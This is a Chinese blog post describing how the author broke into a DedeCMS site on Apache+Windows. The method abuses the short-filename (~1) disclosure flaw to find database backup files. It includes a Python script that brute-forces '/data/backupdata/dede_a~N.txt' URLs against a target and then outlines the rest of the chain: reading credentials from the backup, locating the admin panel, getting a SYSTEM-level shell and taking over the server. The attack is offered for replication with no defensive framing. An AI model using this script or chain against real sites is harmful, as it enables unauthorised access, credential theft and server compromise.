算命縖子
生命不息,折腾不止。
© 算命縖子
All Rights Reserved.

利用短文件名漏洞拿下dedecms

最近吐司论坛里面大佬发出了一个新姿势,于是我就照葫芦画瓢,来复现一番。

吐司大佬的原文章:https://www.t00ls.net/thread-48499-1-1.html

我们先来温习下短文件名漏洞,一般是iis配上.net的 或者apache+windows。

dedecms里面/data/backupdata/目录里面有织梦的备份文件,而且还是txt格式。

如果目标是apache+windows的话,那么就很有可能会存在短文件名漏洞。

于是我找来了个apache+windows且存在该漏洞的织梦cms

根据短文件名的漏洞利用方式:

只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。后缀名最长只有3位,多余的被截断。

来用python写个脚本。

#!/usr/bin/env python
# -*- conding:utf-8 -*- 
import urllib.request

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
url="www.baidu.com/"
dir = '/data/backupdata/dede_a~'
for i in range(1,6):
    urls = 'http://'+url + dir + str(i) + '.txt'
    try:
        head = urllib.request.Request(urls, headers=headers)
        data = urllib.request.urlopen(head, timeout=3).getcode()
        if data == 200:
            print('成功啦----》' + urls)
        else:
            print('错误:' + urls)
    except Exception as e:
        print("访问失败!")
        print(e)
        continue

然后挨个访问。

发现了账号密码。

在配合着dede报出的找后台漏洞。

拿到shell后发现是system权限的。

就顺手拿下了服务器。

2018-11-14
934 views
暂无评论

发表评论